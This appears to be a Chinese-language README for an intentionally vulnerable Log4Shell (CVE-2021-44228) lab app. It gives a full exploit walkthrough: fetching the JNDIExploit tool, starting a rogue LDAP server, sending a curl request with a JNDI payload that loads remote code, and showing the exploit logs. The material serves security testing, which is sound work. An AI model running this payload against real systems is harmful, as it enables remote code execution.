此仓库包含一个易受 CVE-2021-44228 (又名 Log4Shell) 攻击的 Spring Boot Web 应用程序。
它使用了 Log4j 2.14.1(通过 spring-boot-starter-log4j2 2.6.1)和 JDK 1.8.0_181。

运行它:
docker run --name vulnerable-app -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app
自行构建(无需任何 Java 相关工具):
docker build . -t vulnerable-app
docker run -p 8080:8080 --name vulnerable-app vulnerable-app
注意:以下内容高度参考了原始的 LunaSec 公告。请自行承担风险,最好在沙箱环境的虚拟机中运行。
更新 (12月13日):JNDIExploit 仓库已从 GitHub 移除(推测 并非 GitHub 所为)。只需在下面的 JNDIExploit 下载 URL 前面加上 web.archive.org,即可使用 Wayback Machine 缓存的版本。
wget https://github.com/feihong-cs/JNDIExploit/releases/download/v1.2/JNDIExploit.v1.2.zip
unzip JNDIExploit.v1.2.zip
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i your-private-ip -p 8888
# 将执行 'touch /tmp/pwned'
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://your-private-ip:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'
[+] LDAP Server Start Listening on 1389...
[+] HTTP Server Start Listening on 8888...
[+] Received LDAP Query: Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo
[+] Paylaod: command
[+] Command: touch /tmp/pwned
[+] Sending LDAP ResourceRef result for Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo with basic remote reference payload
[+] Send LDAP reference result for Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo redirecting to http://192.168.1.143:8888/Exploitjkk87OnvOH.class
[+] New HTTP Request From /192.168.1.143:50119 /Exploitjkk87OnvOH.class
[+] Receive ClassRequest: Exploitjkk87OnvOH.class
[+] Response Code: 200
/tmp/pwned.txt 文件:$ docker exec vulnerable-app ls /tmp
...
pwned
...
https://www.lunasec.io/docs/blog/log4j-zero-day/ https://mbechler.github.io/2021/12/10/PSA_Log4Shell_JNDI_Injection/